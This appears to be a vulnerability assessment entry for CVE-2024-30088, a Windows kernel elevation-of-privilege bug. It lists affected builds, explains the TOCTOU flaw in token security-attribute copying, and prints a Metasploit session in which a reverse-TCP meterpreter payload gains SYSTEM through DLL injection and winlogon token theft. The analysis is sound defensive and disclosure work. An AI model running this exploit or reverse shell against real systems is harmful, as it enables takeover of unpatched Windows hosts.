High
CVE-2024-30088
CVE-2024-30088
Add Assessment
Technical Analysis
CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10, Windows 11 and Windows Server 2016, 2019 and 2022. The list of affected Windows is as follows:
- Windows 10 1507 before 10.0.10240.20680
- Windows 10 1607 before 10.0.14393.7070
- Windows 10 1809 before 10.0.17763.5936
- Windows 10 21h2 before 10.0.19044.4529
- Windows 10 22h2 before 10.0.19045.4529
- Windows 11 21h2 before 10.0.22000.3019
- Windows 11 22h2 before 10.0.22621.3737
- Windows 11 23h2 before 10.0.22631.3737
- Windows Server 2016 before 10.0.14393.7070
- Windows Server 2019 before 10.0.17763.5936
- Windows Server 2022 before 10.0.20348.2522
- Windows Server 2022 23h2 before 10.0.25398.950
The vulnerability exists inside the function called AuthzBasepCopyoutInternalSecurityAttributes specifically when the kernel copies the _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION of the current token object to user mode:
struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION { ULONG SecurityAttributeCount; //0x0 struct _LIST_ENTRY SecurityAttributesList; //0x8 ULONG WorkingSecurityAttributeCount; //0x18 struct _LIST_ENTRY WorkingSecurityAttributesList; //0x20 };
When the kernel performs the copy of the SecurityAttributesList, it sets the list of the SecurityAttribute’s structure directly to the user supplied pointer. It then calls RtlCopyUnicodeString and AuthzBasepCopyoutInternalSecurityAttributeValues to copy out the names and values of the SecurityAttribute leading to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.
The bug is easy to exploit if you have a user level session running on an affected windows version (of which there are many) and because it provides SYSTEM level access I gave this a 4/5 for both Attacker Value and Exploitability.
A metasploit module is currently up for review in a pull request at the time of writing and can be exploited like so:
msf6 > use windows/local/cve_2024_30038_authz_basep [*] Using configured payload windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/local/cve_2024_30038_authz_basep) > set session -1 session => -1 msf6 exploit(windows/local/cve_2024_30088_authz_basep) > exploit [*] Started reverse TCP handler on 172.16.199.1:5555 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version detected: Windows 10+ Build 19045 [*] Reflectively injecting the DLL into 696... [+] The exploit was successful, reading SYSTEM token from memory... [+] Successfully stole winlogon handle: 3432 [+] Successfully retrieved winlogon pid: 452 [*] Sending stage (201798 bytes) to 172.16.199.208 [*] Meterpreter session 18 opened (172.16.199.1:5555 -> 172.16.199.208:52890) at 2024-08-30 12:45:49 -0700 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : DESKTOP-FGNRA7E OS : Windows 10 (10.0 Build 19045). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter >
CVSS V3 Severity and Metrics
General Information
Vendors
- microsoft
Products
- windows 10 1507,
- windows 10 1607,
- windows 10 1809,
- windows 10 21h2,
- windows 10 22h2,
- windows 11 21h2,
- windows 11 22h2,
- windows 11 23h2,
- windows server 2016,
- windows server 2019,
- windows server 2022,
- windows server 2022 23h2
References
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
